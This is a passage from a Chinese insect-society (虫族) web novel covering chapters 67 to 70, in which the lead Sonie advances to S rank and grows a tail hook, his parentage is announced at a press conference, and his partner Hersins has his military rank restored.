近三十天没有好好休息,他也很疲倦,躺在雄虫身边不一会儿就睡着了。 时间一分一秒地走着,从黑夜变为白天,又慢慢地恒星西沉,热烈的夕阳被窗帘紧紧挡住,卧室漆黑静谧。 索涅终于睡饱,糊里糊涂地坐起身,发现自己竟然在卧室里,而且□□,赫尔辛斯在旁边睡得安稳。 怎么回来的?他不是在格斗赛吗? 他记得他有点头疼,然后…… 摸,捆,咬…… 索涅缓缓地睁大眼睛。 他都干了什么?! 没脸见人了!! 第67章 尾钩 “您还好吗?”旁边突然…… “您还好吗?”旁边突然传来一道声音。 索涅僵硬地转过头, 雌虫已经打开床头灯,靠在枕头上笑看着他。 索涅感觉自己头顶一定在冒蒸汽。 “我失忆了。”他狡辩说。然后钻进被子,埋头趴在雌虫小腹上。 雄虫发丝微长, 蹭得赫尔辛斯腹部发痒, 他手指托着雄虫的下颌, 轻轻挠了挠:“我没有笑话您的意思。” “身体还有哪里不舒服?” 索涅又从被子里爬出来, 身后传来轻微的拉扯感, 自己尾椎骨好像挂了个秤砣似的沉重, 紧接着是布帛撕裂的声音。 他顿时僵住,终于想起了一件事。 赫尔辛斯掀开被子看了一眼,若有所思道:“看来得多准备一些床单。” 索涅迟疑, 不太敢伸手摸:“我真的长尾巴了?” “是尾钩, ”赫尔辛斯道, “非常锋利,您可能需要一段时间才能习惯。” 索涅吓了一跳, 赶紧跳下床,伸手从自己尾椎骨捞起一根光滑带着细碎鳞片的尾巴,“没伤到你吧?也不知道小心一点。” 他将尾钩扯起来,拿到眼前仔细看了几秒,又嫌弃地扔到身后, “好丑。” 索涅的动作逗笑了赫尔辛斯,他靠在床头,灯光从侧面倾洒而下,五官投出立体的阴影, 勾起的唇角显得有些暧昧。 “事实上,您的尾钩对雌虫来说非常性感。”赫尔辛斯说。 “黑鳞蝶雄虫的尾钩退化得比其他种族更久,返祖的可能性也更小, 您真是个瑰宝。” 索涅迟疑一刻,又捞起尾巴走近递到雌虫面前:“你要摸摸吗?” 他默默地想,赫尔辛斯好像很喜欢这根尾巴。于是他抓起自己的尾巴放到雌虫肚皮上。 细密的鳞片刮擦着腹部起伏的肌肉,赫尔辛斯视线落在腰部蜿蜒的尾骨和闪着寒光的尾钩上,几乎瞬间腰酸骨软。 他下意识吞咽,声音分外明显。 “好长……”雌虫喃喃地说。 索涅观察着雌虫的神情,控制尾钩摩挲着雌虫的腹部,渐渐向下爬行到被子里,轻轻擦过那片缠缠绕绕的纹路。 “唔……”雌虫闷哼一声,肩膀颤抖着缩起。 “别……今天还、有事要做……”赫尔辛斯轻轻抓住作乱的东西,那东西顺势在他手上盘旋卷起。 索涅又伸手挠了挠雌虫的虫纹,雌虫浑身颤抖,顿时缩成一团。索涅眼睛一亮,尾钩离开雌虫的手掌,兴奋地在他身后翘起,末端闪着寒光。 “明明是你先撩拨我,”索涅恶魔低语,“虫虫,你好像更敏感了……” 赫尔辛斯无奈地说:“进阶后,您的身体、精神力、信息素对我的影响力都变强了。” 他顿了顿,又说道:“S级雄虫对雌虫有致命的吸引力,您不能怪我。” 索涅猛地扑倒他,接连吻了他好几下,“你是不是更喜欢我了?嗯?” 雌虫纵容地仰头任他亲,闻言却笑起来:“这些不过是情趣,我爱的是您的灵魂。” 索涅一口咬住他的唇,不许他再说了。 好肉麻好直白,索涅不太受得了这个,但他喜欢。 “……嗯我也是。”某人从喉咙里哼哼道。 赫尔辛斯笑起来,雄虫腼腆害羞时真可爱。 既然赫尔辛斯喜欢,那索涅对这根黑尾巴的意见也就没那么大了,除了要重新定制衣服,其他倒也没什么影响。 由于索涅突然进阶,他参赛资格也被取消,他醒来时格斗联赛已经圆满结束,圣托包揽赛事近身格斗和精神力格斗的金牌和铜牌,银牌则被主星系另一颗宜居星的梅德耶大学夺走。 两只虫一觉睡到第二天黄昏,本来费伦斯昨天就告诉过他们可以来领小崽子了,结果两只着了睡魔的虫子让他等了一整天,消息不回视频不接。临近傍晚费伦斯把小崽子直接带回莫里斯宫。 索涅和赫尔辛斯看到科尔时,小家伙正抓着窗帘穗子不放。 看到两张熟悉的脸,虫崽嘴巴一瘪,大颗大颗的泪珠滴溜溜从眼眶涌出来,哼哼唧唧就要从费伦斯怀里飞出去。 费伦斯叹了口气:“怎么一见到你们,说哭就哭啊。” 索涅心疼坏了,连忙把小家伙抱过来,入手就感觉重得不是一星半点,而且他定睛一看,科尔背后还有两个小骨翼。 “看来我们的小科尔已经进入幼年期了。”赫尔辛斯伸手点了点虫崽的小骨翼。 小家伙的骨翼发育得比身体快,雌虫的飞行和走路一般同步开始训练。 “你们可算来了,”费伦斯总算有空喝口水,看向索涅身后的尾钩,“怎么样,还有哪儿不舒服吗?” “都很好,没什么特别的感觉。”索涅把小崽子交给赫尔辛斯,雌虫也很想抱小家伙。 “我还以为那些精神丝那么狂暴,你需要一段时间才能完美控制,看来我多虑了。”费伦斯说道,“你进阶S级的事已经被曝光,现在外面一片沸腾。” “我不是已经消失一个月了吗?”索涅诧异,“一个月都没能让他们腻味这个话题?” “你一直没出现,他们怎么可能腻味,不过躲着也确实不是个好办法,雄保会、贵族,还有数之不尽的高级雌虫,都在蹲守你的行踪。”费伦斯说道。 赫尔辛斯垂眸逗弄着小虫崽,虫崽笑声清脆。 “我会注意。”索涅说道。 至于怎么个注意法,他并没有说,费伦斯也不打算问。 “尾钩可能比较危险,我这里有一些古老的雄虫控制尾钩的资料,你可以参考看看。” 费伦斯将一个储存器交给他,又拿出一个黑漆木盒。 “这是……”索涅打开木盒,有些诧异。 “S级雄虫先辈蓝伽的遗产,他指名由下一只S级雄虫继承。”费伦斯说道,“你可以先挑一挑,有些东西传到现在已经变质,还不如不要。” 索涅仔细地看了一遍,才知道费伦斯在说什么。 蓝伽的遗产曾经无比丰厚,不过交由各大贵族和圣山代为管理,数千年来历经变更,早已被各大贵族据为私产。 梅尔加王族现在的南部城堡庄园就是蓝伽的遗产之一,现在已经没有几只虫知道。另外还有五颗生产性宜居星、几条大型矿脉、两个超级军工厂,以及数之不尽的商业公司,几艘已经放进博物馆的星舰。 这只S级雄虫作为曾经虫族最强大的领袖,遗留下的资产甚至可以养活一个小种族。 索涅翻了几下这本厚厚的资产簿,便将它合上,“现在还不是时候。” 小虫崽:“鹅?” 索涅忍不住一笑,摸摸小家伙头上可爱的小帽子:“科尔也这么认为,是不是?” 小虫崽:“鹅~” “他特别喜欢说这个单音。”赫尔辛斯说道。 “傻乎乎的也挺好。”索涅说。 费伦斯在一旁看着他们,不禁想起还在安莫因肚子里的那个蛋,心下却沉了几分。 “虫崽的检查结果我已经发给你,注意事项也在里面,只要按照一般雌虫崽,好好照顾他就行。” 费伦斯说完,拿出他给虫崽准备的一大堆玩具衣服,“都是这些天我和安莫因一起买的。” “看来科尔很喜欢。”赫尔辛斯说道。 索涅低头,小崽子的嘴边疑似亮晶晶。 圣托很快就通过了索涅的补考申请,与此同时,索涅圣子成功进阶为S级雄虫的消息不胫而走,稍稍冷静几分的虫子们犹如冷水滴入油锅般沸腾狂热,索涅的星网后台再次被各种垃圾信息塞爆。 虫子们疯狂地打听着他的下落,挖掘他过去的信息,在这个节骨眼上,费伦斯原本想将索涅的真实身份暂且压下,没想到一夜之间,索涅是梅尔加后裔的谣言飞得到处都是,还讲得头头是道。 已知,索涅的唯一的雌君是赫尔辛斯·恩其顿,他在边缘星首先表现出劣等雄虫的等级,却在领养赫尔辛斯后的半年内,直接从E级一跃成为顶A级,并在短短一年后又突破S级。 有虫推理,索涅的进阶极有可能和赫尔辛斯挂钩。那么谁能够靠与恩其顿雌虫结合而实现进阶? 梅尔加王族。 得知这种言论的一瞬间,奥维就信了。 并且他最得意的两个雄子也深信不疑。 艾浮现在没空嘲笑捡了芝麻丢了西瓜的西沙,因为他们俩现在只有抱团取暖这一条路可走。 西沙并不太想和艾浮乘一条船,他和索涅又没有深仇大恨,刺杀索涅的是艾浮,和他有什么关系? 蓝伽带来的阴影太深远,以至于西沙立刻就丧失了斗志。 普通雄虫要怎么和怪物竞争? 当艾浮发现联系不上西沙的时候,历史学不好的他才意识到问题的严重性。 幽深的宫殿内部,久远的录像正在循环播放,幽蓝光线照在艾浮有些扭曲的脸上,更显得无比狰狞。 录像里,一只看起来还没有米粒大的雄虫正在手撕星兽。 星兽是虫族大迁徙过程中,横亘在唯一安全航线上的一种靠吞噬金属而生的巨型生物,虫族的星舰被他们啃食殆尽,不得不降落至一处条件恶劣的星球繁衍生息,生活十分艰难,直到虫神眷顾,出现蓝伽这么一个bug级的存在。 这个bug他们曾经有不下十只,但因为一场不知名病毒而渐渐消亡,其余雄虫的身体也变得脆弱不堪。 看着这个远古录像,艾浮甚至一开始没发现那只S级雄虫到底在哪儿。 这怎么可能?这些星兽已经比中型机甲还要高,雄虫可以手撕机甲? 法门静静地站在一旁,也看着录像上犹如神一般的虫子。 “法门,”艾浮关闭录像,“你对赫尔辛斯了解多少?” “我这个哥哥,”艾浮心神不宁,但他觉得自己好歹没有西沙愚蠢,“要是他没搞出那种蠢事,现在突破S级的会不会是他?” “你们从小一起长大,他之前就没有和西沙睡过?为什么西沙的精神力一点也没有增长?”这是艾浮所怀疑的东西。 就算索涅也是梅尔加的后代,和西沙又能差到哪儿去? “没有。”法门说。 艾浮瞪大眼睛,并不相信法门的话:“订婚那么久?一次也没有?” 怎么可能?赫尔辛斯在战场那么拼命,精神域怎么支撑得住? “所以,我的兄长远胜过我。”法门缓缓地说。 他没有反抗使命的勇气,并且已经和他的兄长为敌。 “你现在说这些又有什么用?要是你老实点儿当初就告诉我,突破S级的就是我!”艾浮怒吼着说。 法门想笑,但他已经不太会笑。 艾浮发泄完,室内一时有些沉寂,法门像一尊雕像一样冷肃。 “现在,我们是一条绳上的蚂蚱,别忘了,我做的那些事用的都是你的手下。”艾浮缓缓地说。 法门并没有犹豫分毫:“是,我会帮您。” 艾浮满意,这是他最近为数不多满意的事。 艾浮离开资料室,法门则是坐到椅子上,迅速地翻看所有有关S级雄虫的资料。 大迁徙之前的资料已经留存不多,可信度也不高,主要研究对象只有蓝伽…… 法门用了两天时间把所有相关的资料全部看完,包括各种八卦信息和野史。 一个显而易见的信息是,S级雄虫确实全部出自梅尔加,伴侣都是恩其顿雌虫,但进阶的时机和基础都不固定。 还有什么共同点? 法门目光移动,翻过数页,停在一行字上。 他轻声念着:“蓝伽殿下带领虫族突破星兽聚居的小行星带,却消耗过大,不过三年便油尽灯枯。” 消耗过大……油尽灯枯……他盯着这两个词,看了很久。 第68章 公布身份 法门看着所有文件,坐在…… 法门看着所有文件, 坐在那里整整一天。 艾浮的雌侍过来找他:“法门上将,雄主要出席费伦斯殿下的新闻发布会。” “……知道了。”法门沉声说。 他关闭资料库,揉了揉眉心。 法门是艾浮唯一的雌君, 不仅要陪同出席一切活动, 还要管理他后院的一大群雌侍, 军部事务也压在他肩头, 他时常感觉心力交瘁。 路过走廊, 法门隐隐感觉有一条尾巴跟在自己身后, 他略微回头,却见身后空无一虫。 他抿起唇,心中略有懊恼。 牛皮糖。 —— 躲着的确不是个好办法, 索涅也没打算躲, 再次做完彻底的身体检查后, 他不得不出席费伦斯的新闻发布会,因为这场发布会的主角就是他自己。 索涅从飞行舰里出来的一瞬间, 外面巨大的声浪犹如海啸涌到他耳边,有些虫子为了凸显自己,发出的声音刺耳至极。 索涅粗略地看了几眼,目光所到之处立刻涌起更高的声浪,一张张狂热崇拜的脸拥挤着朝他靠近。军雌们不断地驱赶着, 但总有那么几个漏网之鱼,直接张开骨翼飞到索涅旁边,激动着诉说着什么。 索涅已经身处廊桥之中,身后通道关闭, 外界声音便一同隔绝在外。他左右看了两眼各处环境,无动于衷地走进新闻部大楼。 虫子们失望地看着他的背影。 五分钟之后,数条关于索涅太过冷漠的帖子陡然出现又被疯狂转发, 然而除了引起一些极端分子的讨论之外,卵用没有。 索涅步入会场,虫子们顿时抬起头紧紧盯着他,发出一阵骚乱,打破里面沉默的环境。 赫尔辛斯已经坐在他位置旁边,雌虫刚想站起给他取下外套,被索涅一把摁回座位,他自己脱下衣服交给侍者。 “还顺利吗?”他附在雌虫耳边悄声问。 赫尔辛斯一笑:“已经办好了,下学期我们就可以在圣托见面。” 索涅心里替他高兴,但又感觉怪怪的,“这算不算师生恋?” “算,”雌虫肯定地说,“不过我教的是一年级,很遗憾与您错过了。” “我全身上下都是你教出来的。”索涅勾起唇。 下方又是一阵窸窸窣窣的动静。 索涅一顿,回正身体。 “基于最近的谣言四起,我有几件事要宣布。”费伦斯也穿得极为正式,语气严肃。 底下的媒体记者里雌虫占据大多数,剩余全是亚雌,在场雄虫全部坐在两边,看似面色平静地听着费伦斯讲话。 “第一,索涅殿下的确已经晋级为S级,为我族千年来唯一一只S级雄虫,圣山将择日为索涅殿下再次加冕,晋封一等公爵,并赠予领地宜居星、其余资源若干。” 底下稍有骚动。 “第二,我兹与安莫因·苏利亚于六月二十八日举办婚礼。” 现场静默。 几秒后,“啪嗒”一声,仿佛有什么东西掉在地上。 费伦斯并未给予注意,而是继续说道:“第三,经鉴定,索涅殿下为我和安莫因委员长的后代,与梅尔加无关,请在场诸位与相关媒体不要再造谣生事。” 在场可坐着不少梅尔加雄虫,脸色瞬间难看,媒体记者更是瞠目结舌,手中动作却一点不受影响,分分钟写稿速发。 这些视频发出去,今天星网的流量基本被新闻媒体瓜分殆尽。 “今天的发布会主要内容为以上三点,各位如有疑惑,可以现场提问。”费伦斯最后说。 “执政官阁下,”一只雌虫成功抢到第一个问题,面色激动到皮肤涨红,“请问您为什么说索涅殿下与梅尔加无关?如果他是您的雄子,他应当具有梅尔加血脉。” 费伦斯的神情波澜不惊:“我不介意再重复一遍,但这是最后一次。我不过是一只平民雄虫,与梅尔加毫无干系,请你尊重我的自由。下一个问题。” “索涅殿下,请问您对执政官阁下的决定全部赞同吗?您毕竟是依靠梅尔加的血脉才得以晋级。”一只雌虫问道。 蓝宝石一样的眼睛锁定他的瞬间,记者呼吸停滞,似乎整个精神域都被那双眼睛吸了进去。索涅殿下不过看了他一眼便移开视线,他不禁涌起一阵不满足。 “赞同。”索涅说。 “还请您详细说一下您对费伦斯执政官以上说法的观感。”有一只雌虫提问索涅。 “非常好。”索涅说。 虫子们:“……” “请诸位提出一些属于正经国家级媒体水平的问题。”费伦斯说道,“还有五分钟。” “请问圣山为什么要对索涅殿下再次加冕?圣子殿下已经是公爵级别的官衔。”令虫难受的静默过后,一只亚雌提问道。 费伦斯说道:“蓝伽殿下曾指定由下一位S级雄虫继承他的遗产,不过根据联盟法典,圣子不能拥有属地宜居星,只有公爵以上才准许拥有至多五颗宜居星,圣山所赠予那一颗宜居星,其实也不过是物归原主。” 这话一说出,满场但凡是个大点的贵族虫,脸色都不太好看,疯狂地回想自己家族的支柱产业是否曾属于蓝伽。 “执政官阁下,请问安莫因委员长嫁给您后,是雌君还是雌侍?”一只雌虫小心地问。 “我想我还没有那个能耐,让委员长阁下同意当我的雌侍。”费伦斯慢吞吞地说。 众虫沉默。明明只是一个暗戳戳用法典施压的问题,为什么他们反倒吃了一嘴狗粮? “最后一个问题。”费伦斯看了一眼时间说道。 他话音刚落,一只亚雌问道:“执政官阁下,最近星网传言,您和安莫因委员长又孕育了一枚虫蛋,您听说了吗?” 费伦斯:“看来有虫走漏了消息,是的,安莫因已经怀了一枚雌虫蛋。” 发布会正式结束,媒体记者们离开的样子很体面,不过他们发布在星网的各篇报道尽显语言魅力。 索涅一边抱着虫崽逗他玩,一边看着星网上各种言论,不禁感叹:“正经新闻媒体的嘴怎么也这么臭。” “怎么了?”赫尔辛斯将腌制好的肉送进烤箱。 “你看看,有虫子说,安莫因怀了两枚虫蛋,总算混到一个正经雌君位子。”索涅神色怪异。 安莫因看到这些言论,应该已经气炸了吧? “也没说错。”赫尔辛斯说道,“安莫因觊觎费伦斯很久了。” “看得出来。”索涅说。毕竟他的两个父亲二十岁出头就生了他,看得出来某只雌虫下手挺狠,也挺着急。 “说这话的竟然还是雄虫,真不知道脑子里的浆糊怎么拌的,可能水放得太多了。”索涅说。 “了!”虫崽突然叫。 索涅和赫尔辛斯愣住,不禁把小崽子举起来,看着乐呵呵的小脸。 “他刚才……是不是说话了?” 赫尔辛斯犹疑:“可能是一个单音而已。” “科尔,再说一次好不好?”索涅讨好他的虫崽。 “鹅!”虫崽很给面子,不过没给对。 索涅有些失望,不过他不着急。 进阶为S级之后,他对周围的一切隐隐有所感知,比如每次出去时形形色色的隐形监控,又比如周围,甚至更远处虫子们或打量或垂涎的目光。最开始他无比厌烦,现在已经学会筛选必要的信息进入他的大脑。 索涅补考的成绩也很快就发送到他的信箱,无一例外全A,赫尔辛斯很高兴,专门给他做了很多好吃的。 第二天,索涅和赫尔辛斯来到恩修的房子,两只姿态猥琐的雄虫正趴在地上找什么东西,莱昂兹在一旁手足无措。 “干什么呢?”索涅极为嫌弃。 “我的宝贝不见了!”维希哭丧着脸嚎叫。 “什么宝贝?” 恩修从地上爬起来,一副“爷不伺候了”的表情:“艾浮的雌君,也就是莱昂兹的上级,你雌君的弟弟,送给他的一个鼻嘎大的小钻石,掉进地板缝找不着了。” 索涅:“……你直接说法门就可以了。”好长的头衔。 他闭上眼仔细地感受,一分钟后走到餐桌边捡起一个小东西,果真是鼻嘎大。 “这个?”他递给维希。 维希差点激动到扑上来亲他,顶着一头奶奶灰跟个拖把似的上蹿下跳。 “他疯了?”索涅难以理解,“不就是个微型监听器吗?” 整个别墅陷入一种令人窒息的阴冷。 恩修尴尬到脚趾扣地,他本来觉得维希嘚瑟的样子极为碍眼,现在却开始可怜这家伙。 “你怎么确定?”维希脸上所有表情全部消失,将那颗钻石紧紧攥在手心。 “我的精神丝可以穿透它伪装的防护膜,不信你可以砸开看看。”索涅诚恳地说。 维希脸色煞白。 就连恩修都以为他不会砸,但这家伙冷着一张脸走到院子里直接抄起恩修的园艺锄。 “哎!哎!”恩修屁都吓裂了,赶紧出去把这祖宗拽进来。 维希咬紧牙。 “砰!” 这枚空心钻石碎成几瓣儿,露出中间银灰色的机械装置,凑近看,上面的仪表还在运转。 维希脸色苍白,失力地坐在地上,呆滞地看着那堆碎片。 索涅把东西放在餐桌上,“吃点,赫尔辛斯做的夹心饼干。” 恩修拿起一片塞进嘴里,嘎嘣脆,“甜而不腻。” “这饼干还是法门自创的配方。”索涅说道。 维希不动。 “行了别伤心了。”索涅说,“他就赌你不会砸,你砸了对他死心更好,你玩不过他。” 奶奶灰从地上爬起来,走到餐桌边一把抓住饼干塞进嘴里。 “独守空房的寡夫雌虫还敢骗我,我要让他付出代价!”他放完狠话,又塞了一把饼干进嘴。 “你连这都知道?”索涅预感不久之后将会上演一出伦理剧。 第69章 赫尔辛斯上将 星网是一个真假信息…… 星网是一个真假信息混杂的大型平台, 社交购物等业务集于一体,直到某天索涅收到恩修的信息,说星网有虫在卖他的内裤, 他才知道这地方究竟有多变态。 S级雄虫对雌虫的影响力实在太大, 尽管索涅将精神丝控制得很完美, 信息素也从未在外面展露过, 但每次出门只要不小心被虫子看到, 或者参加一些公开活动, 总有很多雌虫控制不住自己露出丑态。 这样的事情发生得多了,星网开始出现一些不一样的言论。 [想必大家都知道,蓝伽殿下刚进阶时曾经引起大范围雌虫暴乱, 让本来就不富裕的先辈们损失惨重] [S级雄虫最大的优点就是战斗力强, 除此之外完全是社会的祸害, 最近引起了多少混乱?雌虫们不应该把时间和精力浪费在这种兽性的事情上,我们的目标是征服星海!] [现在我们有了机甲, 雌虫才是战斗主力,也不需要和星兽肉搏了,S级那位又不愿意多娶雌虫繁衍强大的后代,凭什么拥有那么多财产?] [他其实没什么用,多娶几只雌虫扩散他的血脉, 才是对虫族最好的事] [真的,最近去买杯咖啡都听到有虫讨论那只S级,真是烦不胜烦,支持他对我们有什么好处?] [S级那只一看就残暴, 短时间装样子谁不会?前王虫的钱他还没拿到手吧?等钱到手就有好戏看了,另外两位殿下可都是很温柔的类型] [不是我说,你们真想嫁给他?别到时候直接被他打死, 你们又不是星兽,可没那份皮糙肉厚] [……] 屏幕上的评论一条条滚动,蓝幽幽的光线投射在雌虫脸上,苍金色眼瞳冷得像死亡的白矮星。 “赫尔辛斯?干什么呢?”索涅在家里转了一圈,最终用精神力摸到了雌虫的位置,打开门探出头。 赫尔辛斯淡然地关闭光屏,弯起眼:“我在这儿呢,刷一刷星网八卦。” “休伊斯发的这东西什么意思,你帮我看看。”索涅用手环投出光屏,上面是一张破破烂烂的古老地图。 “不会是什么藏宝图吧?” 赫尔辛斯放大这张图,不禁蹙起眉。 “这是乌尔加领军时安斯族据点星球的海底地图。”赫尔辛斯说。 索涅顿时来了兴致,探出精神力扫过全局,指尖点在一处位置:“其他都是老笔迹,只有这里的符号是新的。” “这颗星球早已荒芜废弃,也没有战略意义,休伊斯到底有什么目的?”这是索涅不明白的地方,“难道他在海底某个地方藏了宝藏——” 索涅顿住,和赫尔辛斯对视。 一个名字顿时出现在脑海,他们同时脱口而出:“乌尔加!” …… 明面上来说,这是最后一次谈判。 今天的座位有点讲究,费伦斯没有来,索涅和赫尔辛斯坐在休伊斯正对面,法门和赫尔辛斯相邻,艾浮和西沙面对面相看两厌。安莫因姗姗来迟,坐在索涅右手边。 所有虫不动声色地观察着他们。 “休伊斯殿下,”安莫因开口,“既然已经是最后一次,我们不如打开天窗说亮话,安斯族的条件,我们能答应的只有一个,那就是开通每年五千万吨玉沙星航贸易,其余免谈。” 玉沙是一种稀缺的高营养食物,对虫族来说就是普通面粉,却是安斯族极为喜欢的奢侈食物。 这个让步可以说聊胜于无,诚意浓度不足千分之一。 “我同意打开天窗,但委员长阁下还是一如既往地抠门,既然索涅殿下的雌君也在场,不如让他说两句如何?” 休伊斯的话让虫子们目光泛起波澜。 “休伊斯殿下应该知道整个事情的全貌,那么,请问您还想知道什么?或者想听我说什么?”赫尔辛斯缓缓地说。 他和索涅坐在一起,气势简直像两颗定时炸弹,总有虫不断地观察他们,试图看出点什么东西。 休伊斯抬眼:“那就说说,当初你杀死我父皇,又毁灭我族三十二艘小星舰,害死十多万军民的事。你蔑视生命,罪不可恕,现在竟然敢坐在这里和我谈判?!” 什么叫真正的何不食肉糜?索涅注意到有些虫子真的对着赫尔辛斯露出异样的目光。 赫尔辛斯虽然在监狱里,但并不是对这些一无所知,“容我提醒,你无权给我判刑,是你们的王急着逃命,一口气炸毁你们的星舰试图阻拦我。你的那些兄弟应该早就向星际法庭提起诉讼,但是证据全部虚假,星际法庭不予立案。” “您如果对星际法庭有意见,他们有专门的信箱,不必对着我大呼小叫。”他最后说。 休伊斯虽然说了那些话,这会儿被反驳却也不见他神色变化,他静静地看了赫尔辛斯一会儿,说道:“没想到曾经的王虫殿下还有这份口才,您错过议会委员长的选举真是一件憾事。” 说完,他也不管在场虫子各异的神色,兀自说道:“既然双方都有意讲和,择日我将告知新王向星际法庭提交和谈书,还请虫族准备好五千万吨玉沙,我族也将撤离你族边境海塔星。” “希望你族能履行诺言。”安莫因淡淡地说道。 休伊斯神色同样冷淡:“当然,同样的话送给你们。” 两方相看两厌,在初步洽谈结果上盖章后,休伊斯一方迅速离开会厅。 虫子们却又转战另一处更大的会厅,所有议会议员、军部将级以上军官、贵族代表、民间代表全部聚集在这里,为赫尔辛斯·恩其顿是否可以拿回政治军事身份而进行讨论。 索涅回避,便兀自和赫尔辛斯坐在一起,垂眼听着虫子们你来我往的口水战争,心里却想着刚才赫尔辛斯凌厉的模样。 这样的虫虫他很少见。 作为恩其顿王族代表,法门只说了一句话:“王族永远欢迎赫尔辛斯·恩其顿归来。” 他们两兄弟间的龃龉让虫子们津津乐道,法门是现任王虫爵号的拥有者,而且是在他哥哥被监禁后才继任,他的雄主和索涅殿下又是竞争对手…… 虫子们从中嗅到硝烟的味道。 出乎意料的是,西沙竟然也投了赞成票,艾浮不出意料地弃权。 最终线下票五百四十二比三百零一,网络票八千六百六十七比四千六百七十一,议会与军部联合宣布,即日起恢复赫尔辛斯·恩其顿上将军衔与议员身份。 赫尔辛斯上台接过他尘封已久的功勋章,并一套崭新的军服。 他捧着这些东西,微微躬身。 “赫尔辛斯上将,这么久不见,欢迎回来。”安莫因鼓着掌,冲他眨眨眼。 赫尔辛斯无奈。 索涅看着站在黑木演讲台上的雌虫,对方转身走下台,和他眼神对视的一瞬间,眼睛里盈满璀璨的笑意。 雌虫有一双太漂亮,太漂亮的眼睛,半边面具更为他增添一抹神秘。当他站在高处,那神明一般的容貌简直让索涅为之目眩神迷。 雌虫向他走来,背后是金棕色会厅和百米红毯,明亮的顶灯照在他头顶,连发丝都像流动的金色星河。 索涅仰头看着他,雌虫笑着俯身抱住他,苍金色长发落到索涅后背,有些掉在他手背上。 会议并未结束,所有虫都注视着他们。 那是唯一一只S级雄虫,并且面色冷漠眼神凶残,赫尔辛斯竟敢不打招呼直接抱上去,他们不禁都紧紧地注视着。 果然,赫尔辛斯只抱了一两秒就松开。 然而索涅殿下的神色不太对劲,就像喝多了似的,苍白的面颊浮起一层淡淡的薄粉,深邃的蓝眼睛雾蒙蒙的,看着让虫脸红心跳。 “您的信息素飘出来了。”赫尔辛斯放开前轻声说。 荡漾的某雄虫赶紧缩紧自己的皮下腺体。 醇香的分子溢出几分,通通像牛皮糖一样沾到赫尔辛斯身上。 又讨论了一些别的事,无非是安斯族撤离后的扫尾工作。 离开会议中心,索涅坐在飞行舰上,看着外面璀璨的灯火有些遗憾:“再也不能和你光明正大去逛街了。” “费伦斯正在加紧研制阻隔剂。”赫尔辛斯说。 “你也有事要做啊,”索涅无奈,“我想象不到一整天都和你见不到面的感觉。” 他声音闷钝,赫尔辛斯心里为此荡开涟漪。 “您这样依恋我,我会恃宠而骄。”他低声说。 索涅就笑他:“然后呢?骄到什么程度?” 雌虫转过头不说话。 他鼻骨微驼,侧脸实在落寞,看得索涅心中发软。 “我会,不让您娶别的雌虫。”他低声说。 索涅笑意凝滞。 气氛的沉默让赫尔辛斯难受极了。 可他已经说出口,该怎么弥补自己的失言? “赫尔辛斯,我以为我们都知道。”索涅声音低哑。 赫尔辛斯脊背僵直:“我,我知道……” “不,你不知道。”索涅打断他。 “我们拥有彼此,唯一的,没有其他虫,永远也不会有,我以为你明白。” 雌虫的眼睛变得湿漉漉,像浸在水里的黄水晶。 “可是……您是S级,他们前仆后继,甚至有虫要从边缘星花光所有积蓄来见您……” “与我何干?”索涅声音冷下来,“你让我娶他们?你能忍受?” 赫尔辛斯低下头。 他就是忍不了,他嫉妒,就连雄虫说一下这句话都让他妒火中烧,恨不得把雄虫一辈子锁在家里,让那些雌虫永远无法勾引他的雄主。 “你看看你,手指都要拧断了。” 索涅叹了口气,把拧巴的雌虫的手解救出来,扣在手心……扣不住,雌虫的手比他大。 “赫尔辛斯,我说的所有话都是真的,你可以相信我。”他认真地说。 赫尔辛斯看着他,清晰地看到自己的眼睛倒映在雄虫那一对儿蓝宝石里。 “……我相信您。”他忍不住鼻尖发酸。 “好了,快回家吧,科尔小家伙还在等我们。” 赫尔辛斯侧头接受雄虫的轻吻。他舌根微动,却最终垂下眼眸,没有问出那句话。 [您到底是谁?]—— 作者有话说:索涅:……我似乎忘了什么事情。 第70章 再生一枚蛋 今天是虫崽崽第一次学…… 今天是虫崽崽第一次学飞。 事实上, 最近赫尔辛斯一直在帮他练习,但是小家伙总是赖在他怀里不肯下来。把他放到地毯上或者床上,他就一屁股蹲坐下来不愿意动。暗金色的大眼睛看着赫尔辛斯几秒, 然后咧出一个傻笑, 扬起小手求抱抱。 “你不要这么惯着他, ”索涅说, “他知道自己很可爱, 所以才总是耍赖, 这样下去什么时候才能学会,走路和飞行还一点进展都没有。” 他停顿了一下,看着虫崽闪亮亮的大眼睛, 然后又说:“不过倒也不着急, 科尔毕竟还小, 我们可以慢慢教他。” 赫尔辛斯顿时失笑,“其实您比我还要宠溺他。” 在他们两个说话的时候, 虫崽的视线一直在他们中间转来转去,暗金色的大眼睛忽闪忽闪。突然,他扬起小手一巴掌拍在床铺上,发出沉闷的响声,立刻吸引了索涅和赫尔辛斯的注意。 “怎么了, 小科尔?”索涅立刻把虫崽抱起来,还抱在怀里颠了两颠。 虫崽咯咯地笑了两声,又扯住赫尔辛斯的衣袖。 赫尔辛斯看着虫崽说:“我们讲话的时候忽略了他,科尔很不喜欢被忽略。” “好吧, 科尔小宝贝,是我们对不起你。”索涅说道。 虫崽在他怀里拱了拱,仿佛知道他在说什么。 索涅又被虫崽可爱到了。 “既然他这么不愿意, 要不下次再学?”索涅问赫尔辛斯。 他的雌君顿时用一种很不赞同的眼神看着他。 索涅干笑两声,默默地把虫崽放回床铺上。 心里默念:崽崽啊,我可帮不了你了。 他们两个四只手臂拖着虫崽的小身子,让虫崽趴在空中,像鱼一样游来游去,可是这小家伙的小骨翼就是不肯动,还貌似很好玩似的笑个不停。 赫尔辛斯将虫子捞回怀里,看着小家伙无辜的大眼睛,沉默了一会儿,突然又将虫崽交到索涅怀里,然后转身走出房间。 索涅和虫崽一起在他身后默默地看着他。索涅在想,雌虫是不是生气了? 没过一会儿,原本明亮的窗户突然变得昏暗。索涅回头,发现赫尔辛斯正在窗户外,他顿时一惊,这可是八楼! 他定睛一看,果然看到雌虫身后筋骨嶙峋的骨翼正在缓缓地拍打着,维持着他的身体浮在半空中。 索涅有些沉迷地看着飞翔的雌虫,低声地对着虫崽嘀嘀咕咕:“科尔你看,飞行是不是一件很帅的事情?” 科尔不会说话,但是索涅已经彻底着迷。 他正呆呆地看着窗外英姿飒爽的雌虫,突然听到窗户发出两声沉闷的响声,连忙走过去打开窗户。 “您抱着科尔站在这里,”赫尔辛斯说道,“我在周围飞行一圈,让科尔看看骨翼到底是怎么扇动的。” 他说完这话,骨翼扇动的频率猛然加快,像一支离弦的箭一样冲入空中。在宫殿前宽广的植物园上空划出一道金色的影子。 